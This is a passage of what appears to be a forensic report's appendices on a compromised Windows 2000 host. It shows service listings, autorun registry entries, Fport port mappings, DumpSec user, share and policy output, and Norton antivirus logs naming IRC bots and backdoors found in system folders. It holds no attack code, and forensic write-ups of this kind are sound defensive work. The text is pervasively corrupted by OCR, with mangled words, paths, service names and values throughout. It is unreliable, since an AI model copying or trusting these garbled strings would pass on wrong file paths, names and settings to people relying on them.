SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO'NT ~ : 0x0
WAI T_HI NT : 0x0

SERVI CE_NAME: PSEXESVC
DI SPLAY_NAME: PSEXESVC

(null)
TYPE : 10 W N32_OWN_PROCESS
STATE 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)
W N32_EXI T_CODE : 1077 (0x435)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO'NT ~ : 0x0
WAI T_HI NT )

SERVI CE_NAME: RasAut o

DI SPLAY_NAME: Renpte Access Auto Connection Manager

Creates a connection to a renpte network whenever a programreferences a
renmote DNS or Net Bl OGS nane or address.

TYPE : 120 W N32_SHARE PROCESS | NTERACTI VE_PROCESS
STATE 4 RUNN NG

( STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)
W N32_EXI T_CODE 0 (0x0)
SERVICE EXIT_CODE : 0 (0x0)
CHECKPQO NT : 0x0
VWAI T_HI NT : 0x0

SERVI CE_NAME: RasMan
DI SPLAY_NAME: Renpte Access Connection Manager
Creates a network connection.

TYPE © 120 W N32_SHARE_PROCESS | NTERACTI VE_PROCESS
STATE : 4 RUNNING

( STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)
W N32_EXI T_CODE © 0 (0x0)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO NT : 0x0
WAI T_HI NT : 0x0

SERVI CE_NAME: Renot eAccess
DI SPLAY_NAME: Routing and Renote Access
O fers routing services to businesses in |ocal area and wi de area network
envi ronment s.
TYPE : 120 W N32_SHARE_PROCESS | NTERACTI VE_PROCESS
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STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)

W N32_EXI T_CODE © 1077 (0x435)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPQOI NT )

WAI T_HI NT )

SERVI CE_NAME: Renot eRegi stry
DI SPLAY_NAME: Renpte Registry Service
Al'l ows renote registry mani pul ation.

TYPE : 10 W N32_OWN_PROCESS
STATE 4 RUNNING
( STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDON)
W N32_EXI T_CODE © 0 (0x0)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO'NT ~ : 0x0
WAI T_HI NT : 0x0

SERVI CE_NAME: Rpclocat or
DI SPLAY_NAME: Renpte Procedure Call (RPC) Locator
Manages t he RPC nanme service dat abase.

TYPE © 10 W N32_OW_PROCESS
STATE 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDON)
W N32_EXI T_CODE © 1077 (0x435)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPONT ~ : 0xO0
WAl T_HI NT © 0x0

SERVI CE_NAME: RpcSs
DI SPLAY_NAME: Renpte Procedure Call (RPC
Provi des the endpoi nt mapper and ot her mi scel |l aneous RPC servi ces.

TYPE . 20 W N32_SHARE PROCESS
STATE . 4 RUNNI NG
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES SHUTDOVWN)
W N32_EXI T_CODE : 0 (0x0)
SERVICE EXIT CODE : 0 (0x0)
CHECKPQO NT : 0x0
WAl T_HI NT ;. 0x0

SERVI CE_NAME: RSVP

DI SPLAY_NAME: QoS RSVP

Provi des network signaling and local traffic control setup functionality for
QoS- aware progranms and control applets.

TYPE : 110 W N32_OWN_PROCESS | NTERACTI VE_PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDON)
W N32_EXI T_CODE : 1077 (0x435)
SERVI CE_EXIT_CODE : 0 (0x0)
CHECKPO NT ~ : 0x0
WAI T_HI NT : 0x0

SERVI CE_NAME: SanfSs

DI SPLAY_NAME: Security Accounts Manager

Stores security information for | ocal user accounts.
TYPE : 20 W N32_SHARE_PROCESS
STATE ;4  RUNNI NG
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( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)

W N32_EXI T_CODE . 0 (0x0)
SERVICE EXIT_CODE : 0 (0x0)
CHECKPQO NT : 0x0

VWAI T_HI NT : 0x0

SERVI CE_NAME: SBServi ce
DI SPLAY_NAME: Scri pt Bl ocki ng Servi ce
(null)

( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)

TYPE : 10 W N32_OWN_PROCESS
STATE : 1 STOPPED

W N32_EXI T_CODE © 0 (0x0)

SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO NT : 0x0

WAl T_HI NT : 0x0

SERVI CE_NAME: SCar dDr v
DI SPLAY_NAME: Smart Card Hel per

Provi des support for |egacy snmart card readers attached to the conputer.

( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_ SHUTDOWN)

TYPE : 20 W N32_SHARE_PROCESS
STATE : 1 STOPPED

W N32_EXI T_CODE : 1077 (0x435)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO'NT ~ : 0x0

WAI T_HI NT : 0x0

SERVI CE_NAME: SCar dSvr
DI SPLAY_NAME: Smart Card

Manages and controls access to a smart card inserted into a smart card reader

attached to the conputer.

( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)

TYPE . 20 W N32_SHARE PROCESS
STATE : 1 STOPPED

W N32_EXI T_CODE : 1077 (0x435)
SERVICE EXIT CODE : 0 (0x0)

CHECKPQO NT : 0x0

WAl T_HI NT ;. 0x0

SERVI CE_NAME: Schedul e
DI SPLAY_NAME: Task Schedul er

Enabl es a programto run at a designated tine.
TYPE : 120 W N32_SHARE PROCESS | NTERACTI VE_PROCESS

STATE 4 RUNNI NG

( STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)

W N32_EXI T_CODE . 0 (0x0)
SERVICE EXIT_CODE : 0 (0x0)
CHECKPQO NT : 0x0

VWAI T_HI NT : 0x0

SERVI CE_NAME: secl ogon
DI SPLAY_NAME: RunAs Service

Enabl es starting processes under alternate credentials
TYPE : 120 W N32_SHARE_PROCESS | NTERACTI VE_PRCCESS

STATE 4 RUNNI NG

( STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
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W N32_EXI T_CODE . 0 (0x0)
SERVICE EXIT CODE : 0 (0x0)
CHECKPQO NT : 0x0

WAl T_HI NT : 0x0

SERVI CE_NAME: SENS

DI SPLAY_NAME: System Event Notification

Tracks system events such as Wndows | ogon, network, and power events.
Notifies COW Event System subscribers of these events.

TYPE : 20 W N32_SHARE_PROCESS
STATE : 4 RUNNING
( STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)
W N32_EXI T_CODE © 0 (0x0)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO NT : 0x0
WAl T_HI NT : 0x0

SERVI CE_NAME: Serv-U
DI SPLAY_NAME: Serv-U FTP Server
Provi des FTP services and allows renpte FTP clients to connect to this

conput er
TYPE : 10 W N32_OWN_PROCESS
STATE 4 RUNNI NG
( STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
W N32_EXI T_CODE : 0 (0x0)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO'NT ~ : 0x0
WAI T_HI NT )

SERVI CE_NAME: Shar edAccess

DI SPLAY_NAME: | nternet Connection Sharing

Provi des network address translation, addressing, and nanme resol ution
services for all conputers on your hone network through a dial-up connection.

TYPE : 120 W N32_SHARE PROCESS | NTERACTI VE_PROCESS
STATE : 1 STOPPED

( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES SHUTDOVWN)
W N32_EXI T_CODE : 1077 (0x435)
SERVICE EXIT_CODE : 0 (0x0)
CHECKPQO NT : 0x0
VWAI T_HI NT : 0x0

SERVI CE_NAME: Spool er
DI SPLAY_NAME: Print Spool er
Loads files to nmenory for later printing.

TYPE : 110 W N32_OWN_PROCESS | NTERACTI VE_PROCESS
STATE : 4  RUNNI NG
( STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
W N32_EXI T_CODE : 0 (0x0)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO NT . 0x0
VAI T_HI NT . 0x0
SERVI CE_NAME: Sti Svc
DI SPLAY_NAME: Still | nage Service
(null)
TYPE : 110 W N32_OWN_PROCESS | NTERACTI VE_PROCESS
STATE : 4  RUNNI NG
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( STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)

W N32_EXI T_CODE . 0 (0x0)
SERVICE EXIT_CODE : 0 (0x0)
CHECKPQO NT : 0x0

VWAI T_HI NT : 0x0

SERVI CE_NAME: svchost
DI SPLAY_NAME: FireDaenon Servi ce: svchost
(null)

TYPE © 110 W N32_OWN_PROCESS | NTERACTI VE_PROCESS
STATE : 4  RUNNI NG

( STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
W N32_EXI T_CODE : 0 (0x0)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO NT : 0x0
VWA T_HI NT : 0x0

SERVI CE_NAME: SysnonlLog
DI SPLAY_NAME: Performance Logs and Alerts
Configures performance | ogs and alerts.

TYPE : 10 W N32_OWN_PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)
W N32_EXI T_CODE : 1077 (0x435)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO'NT ~ : 0x0
WAI T_HI NT : 0x0

SERVI CE_NAME: Tapi Srv

DI SPLAY_NAME: Tel ephony

Provi des Tel ephony APl (TAPI) support for prograns that control tel ephony
devices and | P based voice connections on the |ocal conputer and, through the
LAN, on servers that are al so running the service.

TYPE : 120 W N32_SHARE PROCESS | NTERACTI VE_PROCESS
STATE 4 RUNN NG
( STOPPABLE, PAUSABLE, | GNORES SHUTDOWN)
W N32_EXI T_CODE 0 (0x0)
SERVICE EXIT_CODE : 0 (0x0)
CHECKPQO NT : 0x0
VWAI T_HI NT : 0x0

SERVI CE_NAME: TI nt Svr

DI SPLAY_NAME: Tel net

Allows a renote user to log on to the system and run consol e progranms using
the conmand |i ne.

TYPE : 10 W N32_OWN_PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)
W N32_EXI T_CODE : 1077 (0x435)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO NT ~ : 0x0
WAI T_HI NT : 0x0

SERVI CE_NAME: Tr ks

DI SPLAY_NAME: Distributed Link Tracking dient

Sends notifications of files nmoving between NTFS volunes in a network donain.
TYPE : 20 W N32_SHARE_PROCESS
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STATE 4 RUNNI NG
( STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)

W N32_EXI T_CODE © 0 (0x0)
SERVI CE_EXIT_CODE : 0 (0x0)
CHECKPO NT : 0x0

WAl T_HI NT : 0x0

SERVI CE_NAME:  UPS
DI SPLAY_NAME: Uninterruptible Power Supply
Manages an uninterrupti ble power supply (UPS) connected to the conputer.

TYPE © 10 W N32_OWN_PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)
W N32_EXI T_CODE : 1077 (0x435)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPO'NT ~ : 0x0
WAI T_HI NT : 0x0

SERVI CE_NAME: Util Man
DI SPLAY_NAME: Uility Manager
Starts and configures accessibility tools fromone w ndow

TYPE : 110 W N32_OWN_PROCESS | NTERACTI VE_PROCESS
STATE 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDON)
W N32_EXI T_CODE © 1077 (0x435)
SERVI CE_EXI T_CODE : 0 (0x0)
CHECKPONT ~ : 0xO0
WAl T_HI NT © 0x0

SERVI CE_NAME: WB2Ti ne
DI SPLAY_NAME: W ndows Ti e
Sets the computer clock.

TYPE . 20 W N32_SHARE PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES SHUTDOVWN)
W N32_EXI T_CODE : 1077 (0x435)
SERVICE EXIT CODE : 0 (0x0)
CHECKPQO NT : 0x0
WAl T_HI NT ;. 0x0

SERVI CE_NAME: W nMgnt
DI SPLAY_NAME: W ndows Managenent |Instrunentation
Provi des system nanagenent i nformation.

TYPE : 10 WN32_OWN PROCESS
STATE 4 RUNN NG
( STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
W N32_EXI T_CODE . 0 (0x0)
SERVICE EXIT_CODE : 0 (0x0)
CHECKPQO NT : 0x0
VWAI T_HI NT : 0x0

SERVI CE_NAME: Wi
DI SPLAY_NAME: W ndows Managenent Instrunmentation Driver Extensions
Provi des systens managenment information to and fromdrivers.
TYPE . 20 W N32_SHARE_PROCESS
STATE : 4  RUNNI NG
( STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWWN)
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W N32_EXI T_CODE . 0 (0x0)
SERVICE EXIT CODE : 0 (0x0)
CHECKPQO NT : 0x0

WAl T_HI NT : 0x0

4. Autoruns:

HKEY_ _LOCAL_MACHI NE\ SOFTWARE\ M cr osof t \ W ndows

NT\ Cur r ent Ver si on\ W nl ogon\ Useri ni t

+ C.\WNNT\ syst enB2\ userinit.exe

HKEY_LOCAL__MACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunOnce\
HKEY_LOCAL_MACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunOnceEx
\

HKEY CURRENT _USER!\ Sof t war e\ M cr osof t \ W ndows

NT\ Cur r ent Ver si on\ W ndows\ Run

HKEY_LOCAL__MACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\

+ t p4non. exe

C.\ Program Fi | es\ MsH p9\ WB2Conf i g\ .\ Net wor k32. exe

"C.\ Program Fi | es\ Conmon Fi | es\ Synant ec Shar ed\ ccApp. exe"
"C:\Program Fi | es\ Conmon Fil es\ Synant ec Shared\ ccRegVfy. exe"

C. \ PROGRA~1\ NORTON~2\ AdvTool s\ ADVCHK. EXE

HKEY_CURRENT_USER\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\
C:\Docunents and Settings\All Users\Start Menu\Prograns\ Startup

+ AUTOCHK. LNK - > C:.\ CFGSAFE\ AUTOCHK. EXE

+ EPSON Status Monitor 3.2 Environment Check.lnk ->

C:\ W NNT\ syst enB2\ spool \ dri ver s\ w32x86\ 3\ E_SRCV03. EXE

+ Mcrosoft Ofice.lnk -> C\PROGRA~1\ M CROS~2\ O f i ce\ OSA9. EXE

C.\ Docunents and Settings\johnd\Start Menu\Prograns\Startup

+ Medic.lnk -> C\Program Fil es\ Road Runner\ Medi c\ RRMedi c. exe
HKEY_CURRENT _USER\ Sof t war e\ M cr osof t \ W ndows

NT\ Cur r ent Ver si on\ W ndows\ Load

HKEY_LOCAL_MACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer vi c
es\

+ ntfg. exe

HKEY_LOCAL_MACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer vi c
esOnce\

+ nmobsync. exe /1 ogon

+ UByst enmRoot % Syst enB2\i bnprsvce. exe - hel per

+ ItcnDO0O0c. exe 9

+ Pronon. exe

+ RunDI | 32 cweprops. cpl, Crystal Control Wid

+ RunDi | 32 C:\ PROGRA~1\ Thi nkPad\ UTI LI T~1\ pw noni t.dl |, St art Pw Moni t or
+ C:.\ PROGRA~1\ Thi nkPad\ UTI LI T~1\ TP98. EXE /s

+ C\ PROGRA~1\ Thi nkPad\ UTI LI T~1\t phkngr . exe

+ PRPCUI . exe

+ C.\ W NNT\ TPPALDR. EXE

+ C:\Program Fi | es\ Real \ Real Pl ayer\ Real Pl ay. exe SYSTEMBOOTHI DEPLAYER
+ C\Program Fil es\ BroadJunp\ C i ent Foundati on\ CFD. exe

+ "C. \Program Fi | es\ Support.com bi n\tgcnd. exe" /server /nosystray

/ deaf

+ ncfg. exe

+

+

+

+
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HKEY_CURRENT_USER\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer vi ce
s\

HKEY_CURRENT _USER\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer vi ce
sOnce\

HKEY_CURRENT _USER\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunOnce\
HKEY_CURRENT _USER\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunOnceEx\
C\WNNT\W n.ini

5. Fport:

FPort v2.0 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://ww. f oundst one. com

Pid Process Port Proto Path

812 Wi nngnt -> 22 TCP  C:\ W NNT\ syst en82\ wi ns\ wi nngnt . exe

384 svchost -> 135 TCP  C\W NNT\syst enB2\ svchost. exe

8 System -> 139 TCP

8 System -> 445 TCP

796 MsTask -> 1025 TCP  C \WNNT\syst enB2\ MsTask. exe

8 System -> 1027 TCP

1320 ccApp -> 1028 TCP C\Program Fil es\ Common Fil es\ Synant ec

Shar ed\ ccApp. exe

916  svchost -> 5789 TCP c:\winnt\systenB2\os2\dl|\packs\svchost. exe
1312 Networ k32 -> 17267 TCP  C \Program Fi | es\ M5H p9\ WB2Conf i g\ Net wor k32. exe
1312 Net wor k32 -> 44444 TCP  C\Program Fi | es\ MsH p9\ WB2Conf i g\ Net wor k32. exe
384 svchost -> 135 UDP  C:\ W NNT\ syst enB2\ svchost . exe

8 System -> 137 UbP

8 System -> 138 UbP

8 System -> 445 UbP

228 | sass -> 500 UDP  C:\ W NNT\ syst enB2\ | sass. exe

216 services -> 1026 UDP  C \WNNT\systenB2\services. exe

6. Dumpsec users:

6/ 25/ 2003 5:52 PM - Sonarsoft DunmpSec (fornerly DunpAcl) - \\JDCE (Il ocal)

User Nare Groups G oupType Account Type PswdCanBeChanged
PswdLast Set Ti e PswdRequi r ed PswdExpi res PswdExpi resTi ne
Acct Di sabl ed Acct LockedQut Acct Expi resTi e Last LogonTi e
Sid

Admi ni strator Admi ni strators Local User Yes 3/ 18/ 2003 8:41 PM Yes

No Never No No Never 3/10/2003 4:17 PM S-1-5-21-1625953198-
2146521890- 1860244429- 500
janed Administrators Local User Yes 6/ 18/ 2002 4: 20 PM Yes No Never
No No Never 5/21/2003 3:39 PM S-1-5-21-1625953198-2146521890-
1860244429- 1001
janed Users Local User Yes 6/ 18/ 2002 4:.20 PM Yes No Never No No
Never 5/21/2003 3:39 PM S-1-5-21-1625953198-2146521890- 1860244429-1001
Guest Cuests Local User No Never No No ?Unknown Yes No
Never Never S-1-5-21-1625953198-2146521890-1860244429-501
johnd Administrators Local User Yes 6/ 20/ 2003 8: 43 AM Yes Yes
8/ 2/ 2003 7:30 AM No No Never 6/25/2003 5:34 PM S-1-5-21-
1625953198-2146521890- 1860244429- 1000
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johnd Users Local User Yes 6/ 20/ 2003 8:43 AM Yes Yes 8/ 2/ 2003 7:30 AM
No No Never 6/25/2003 5:34 PM S-1-5-21-1625953198-2146521890-
1860244429- 1000

7. Dumpsec shares:

6/ 25/ 2003 5:50 PM - Sonarsoft DunpSec (formerly DunpAcl) - \\JDCE (Il ocal)

Share and path Account Oown Per nmi ssi on

| PC$= (special adnmin share) adm n-only (no dacl)

ADM N$=C: \ W NNT (special adm n share) adm n-only (no dacl)
C$=C:\ (special adm n share) adm n-only (no dacl)

tenmpl=C \tenpl (disktree) unprotected (no dacl)

8. Dumpsec palicies:

6/ 25/ 2003 5:50 PM - Sonarsoft DunmpSec (fornerly DunpAcl) - \\JDCE (Il ocal)
Pol i ci es

Account Policies
M n password |len: O chars
Max password age: 42 days
M n password age: O days
Password history: 0 passwords
Do not force |ogoff when | ogon hours expire
No account | ockout
Audit Policies
Al'l auditing disabled
CrashOnAudi t Fai | =Fal se
Tr ust edDomai ns
Current Domai n=JDOE
==>Current conmputer not a domain controller
Repl i cation
==>r ¢c=1060 OpenServi ce
System Pat h Conponents (in search order)
C:\ W NNT\ syst enB2
C:\ W NNT
C. \ W NNT\ Syst enB2\ Whem
C:. \ PROGRAM FI LES\ THI NKPAD\ UTI LI TI ES
HKEY_LOCAL_MACHI NE\ SYSTEM Cur r ent Cont r ol Set\ Servi ces\ LannanSer ver\ Par anet er s
(see KB Q122702)
Restrict Nul | SessAccess=TRUE (by default)
Nul | Sessi onShar es
COMCFG
DFS$
Nul | Sessi onPi pes
COWNAP
COVNODE
SQL\ QUERY
SPOOLSS
LLSRPC
EPNMAPPER
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LOCATOR
Tr ks
Tr kSvr
HKEY _LOCAL_MACHI NE\ SYSTEM Cur r ent Cont r ol Set\ Contr ol \ Secur ePi peServers (see KB
Q155363)
wi nreg - Registry Server
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Appendix C —Norton Antivirus Alert and Quarantine L ogs

Alert Log:

Category: Virus alerts

Dat e, Feat ure, Virus Nane, Action Taken, |tem Type, Tar get, Suspi ci ous
Acti on, User Name, Conput er Nane, Details

3/ 28/ 2003 10: 43: 00 PM Vi rus scanner, Backdoor . Fl uxay, Aut omati cal | y
deleted, File, N A N A, johnd, JDOE, " Sour ce:

C:\ W NNT\ syst enB2\ Pi peCrdSrv. exe, Descri ption: The file

C:\ W NNT\ syst enB82\ Pi peCmdSrv. exe is infected with the Backdoor. Fl uxay
virus."

3/ 17/ 2003 7:14:37 PM Virus scanner, WB2. | RCBot, Autonatical |l y

deleted, File, N A N A, johnd, JDOE, " Sour ce:

C.\ W NNT\ syst enB2\ ntf g. exe, Descri ption: The file

C.\WNNT\ systenB2\ntfg.exe is infected with the WB2. | RCBot virus."
3/ 17/ 2003 7:14:37 PM Virus scanner, Backdoor. Sdbot , Aut omati cal |y
deleted, File, N A N A, johnd, JDOE, " Sour ce:

C. \ W NNT\ syst enB2\ newexpl or e. exe, Descri ption: The file

C. \ W NNT\ syst enB2\ newexpl ore. exe is infected with the Backdoor. Sdbot
virus."

3/ 17/ 2003 7:14:37 PM Virus scanner, Backdoor. | RC. Zcrew, Aut ormati cal |y
deleted, File, N A N A, johnd, JDOE, " Sour ce:

C:\ W NNT\ syst en82\ navdb. dbx, Descri ption: The file

C.\ W NNT\ syst enB2\ navdb. dbx is infected with the Backdoor.|RC. Zcrew
virus."

3/17/2003 7:14: 37 PM Virus scanner, | RC

Troj an, Quaranti ned, File, N A N A j ohnd, JDCE, " Sour ce:

C.\WNNT\ syst enB2\ Scri pt. ocx, Description: The file

C.\WNNT\ systenB2\ Script.ocx is infected with the IRC Trojan virus."
3/ 17/ 2003 7:14:37 PM Virus scanner, Backdoor. | RC. Zcrew, Autonmatically
deleted, File, N A N A, johnd, JDOE, " Sour ce:

C.\ W NNT\ syst enB2\ Secur e. bat, Descri ption: The file

C.\WNNT\ syst enB2\ Secure. bat is infected with the Backdoor.|RC. Zcrew
virus."

3/ 17/ 2003 7:14:37 PM Virus scanner, Backdoor. | RC. Zcrew, Aut ormati cal |y
deleted, File, N A N A, johnd, JDOE, " Sour ce:

C.\WNNT\ systenB2\start. bat, Description: The file
C\WNNT\systenB2\start.bat is infected with the Backdoor.|RC. Zcrew
virus."

3/ 17/ 2003 7:14:37 PM Virus scanner, Backdoor. | RC. Zcrew, Autonmati cally
deleted, File, N A N A, johnd, JDOE, " Sour ce:

C.\W NNT\ systenB2\ st r. vxd, Description: The file
C.\WNNT\systenB2\str.vxd is infected with the Backdoor.|RC. Zcrew
virus."

3/ 17/ 2003 7:14:37 PM Virus scanner, BAT. Troj an, Automatical | y

deleted, File, N A N A, johnd, JDOE, " Sour ce:

C:\ W NNT\ syst enB2\ v32dri ver. bat, Description: The file

C.\W NNT\ systenB2\v32driver.bat is infected with the BAT. Troj an
virus."

3/ 17/ 2003 7:14:37 PM Virus scanner, WB2. | RCBot, Automatical |y

deleted, File, N A N A, johnd, JDOE, " Sour ce:
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C:\Tenp\ Drivers\bl.exe, Description: The file C\Tenp\Drivers\bl.exe is
infected with the WB2. | RCBot virus."

3/ 17/ 2003 7:14:37 PM Virus scanner, | RC

Troj an, Quarantined, File, N A N A johnd, JDCE, " Source: C.\Program

Fi | es\ MBH p9\ WB2Conf i g\ cd. vxd, Descri ption: The file C \Program

Fi |l es\ MBH p9\ WB2Config\cd.vxd is infected with the IRC Trojan virus."
3/17/2003 7:14: 37 PM Virus scanner, | RC

Troj an, Quarantined, File, N A N A johnd, JDCE, "Source: C.\Program

Fi | es\ MBH p9\ WB2Conf i g\ cs. vxd, Descri ption: The file C \Program

Fil es\ MBH p9\ WB2Config\cs.vxd is infected with the IRC Trojan virus."
3/ 17/ 2003 7:14:37 PM Virus scanner, | RC

Troj an, Quarantined, File, N A N A johnd, JDCE, " Source: C:.\Program

Fi | es\ MsH p9\ WB2Confi g\ nchk. bat, Descri ption: The file C \Program

Fi | es\ MBH p9\ WB2Confi g\ nchk. bat is infected with the IRC Trojan
virus."

3/ 17/ 2003 7:14:37 PM Virus scanner, WB2. | RCBot, Autonatical |y

deleted, File, N A N A, johnd, JDOE, "Sour ce: C:.\Program

Fi | es\ MBH p9\ WB2Conf i g\ bl . vxd, Descri ption: The file C \Program

Fil es\ MBH p9\ WB2Config\bl.vxd is infected with the WB2. | RCBot virus."
3/ 17/ 2003 7:14:37 PM Virus scanner, \W2. | RCBot , Aut onati cal ly

deleted, File, N A N A, johnd, JDOE, "Sour ce: C:.\Program

Fi | es\ MBH p9\ WB2Conf i g\ downl oad\ bOt . exe, Descri ption: The file

C.\ Program Fi | es\ MsH p9\ WB2Conf i g\ downl oad\ b0t . exe is infected with
the WB2.1 RCBot virus."

3/ 17/ 2003 7:14:37 PM Virus scanner, | RC

Troj an, Quarantined, File, N A N A johnd, JDCE, " Source: C:.\Program

Fi | es\ MBH p9\ WB2Confi g\ z. vxd, Description: The file C\Program

Fi | es\ MsH p9\ WB2Config\z.vxd is infected with the IRC Trojan virus."
3/17/ 2003 7:14:37 PM Virus scanner, Backdoor. | RC. Zcrew, Aut ormati cal |y
deleted, File, N A N A, johnd, JDOE, "Sour ce: C:.\Program

Fi | es\ MBH p9\ WB2Confi g\ str.vxd, Description: The file C \Program

Fil es\ MBH p9\ WB2Config\str.vxd is infected with the Backdoor.|RC. Zcrew
virus."

3/17/2003 7:14: 37 PM Virus scanner, | RC

Troj an, Quarantined, File, N A N A johnd, JDCE, "Source: C.\Program

Fi | es\ MsH p9\ WB2Conf i g\ pxy. vxd, Descri ption: The file C \Program

Fi | es\ M5H p9\ WB2Confi g\ pxy.vxd is infected with the IRC Trojan virus."
3/ 17/ 2003 7:14:37 PM Virus scanner, | RC

Troj an, Quaranti ned, File, N A N A johnd, JDCE, " Source: C:.\Program

Fi | es\ MBH p9\ WB2Confi g\ ps. vxd, Description: The file C \Program

Fil es\ MsH p9\ WB2Confi g\ps.vxd is infected with the IRC Trojan virus."
3/17/2003 7:14: 37 PM Virus scanner, | RC

Troj an, Quarantined, File, N A N A johnd, JDCE, " Source: C.\Program

Fi | es\ MBH p9\ WB2Conf i g\ nsock. vxd, Description: The file C \Program

Fi | es\ MBH p9\ WB2Confi g\ nsock.vxd is infected with the | RC Trojan
virus."

3/ 17/ 2003 7:14: 37 PM Virus scanner, | RC

Troj an, Quarantined, File, NA N A johnd, JDCE, " Source: C.\Program

Fi | es\ M5H p9\ WB2Confi g\ nsenq. vxd, Descri ption: The file C \Program

Fi | es\ MsH p9\ WB2Confi g\ nsenqg.vxd is infected with the I RC Trojan
virus."
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3/ 17/ 2003 7:14:37 PM Virus scanner, | RC

Troj an, Quarantined, File, N A N A johnd, JDCE, " Source: C:.\Program

Fi | es\ M5H p9\ WB2Confi g\ nn. vxd, Description: The file C \Program

Fi | es\ MBH p9\ WB2Config\nn.vxd is infected with the IRC Trojan virus."
3/17/2003 7:14: 37 PM Virus scanner, | RC

Troj an, Quaranti ned, File, N A N A johnd, JDCE, " Source: C.\Program

Fi | es\ MBH p9\ WB2Conf i g\ nl ogi n. vxd, Descri ption: The file C \Program

Fi |l es\ MBH p9\ WB2Confi g\nl ogin.vxd is infected with the I RC Trojan
virus."

3/17/2003 7:14: 37 PM Virus scanner, | RC

Troj an, Quarantined, File, N A N A johnd, JDCE, "Source: C.\Program

Fi | es\ MsH p9\ WB2Conf i g\ nconnecti on. vxd, Descri ption: The file

C:\ Program Fi | es\ MSH p9\ WB2Conf i g\ nconnection.vxd is infected with the
IRC Trojan virus."

3/ 17/ 2003 7:14:37 PM Virus scanner, | RC

Troj an, Quaranti ned, File, N A N A johnd, JDCE, " Source: C:.\Program

Fi | es\ MBH p9\ WB2Conf i g\ nconn. vxd, Description: The file C \Program

Fi | es\ MBH p9\ WB2Confi g\ nconn.vxd is infected with the | RC Trojan
virus."

3/ 17/ 2003 5:21:22 PM Aut o-Protect, | RC Troj an, Access

denied, File, N A N A, johnd, JDCE, Source: C.\w nnt\systenB2\script.ocx
3/ 17/ 2003 5:21:22 PM Aut o-Protect, | RC Troj an, Repair

failed, File, N A N A, johnd, JDOE, Source: C.\w nnt\systenB2\script.ocx
3/ 17/ 2003 5:16:55 PM Aut o-Protect, | RC Troj an, Access

denied, File, N A N A, johnd, JDCE, Source: C \w nnt\systenB2\script.ocx
3/ 17/ 2003 5:16:55 PM Aut o- Protect, | RC Troj an, Repai r

failed, File, N A N A johnd, JDOE, Source: C. \w nnt\systenB2\script.ocx
3/ 17/ 2003 5:16:55 PM Aut o- Prot ect, Backdoor. | RC. Zcrew, Aut omatical |y
del eted, File, N A N A johnd, JDOE, Source: C \w nnt\systenB2\activex.ocx

QuarantineLog:

Norton AntiVirus Quaranti ne Report
Created: Wdnesday, June 25, 2003 12:26:33 PM

Fil e Nane

Locati on

St at us Si ze Vi rus Nane
User Nane Machi ne Name Donai n

Dat e Quaranti ned
Date Submitted

nn. vxd

C.\ Program Fi | es\ MSH p9\ WB2Confi g

Quar anti ned 488 hytes | RC Troj an
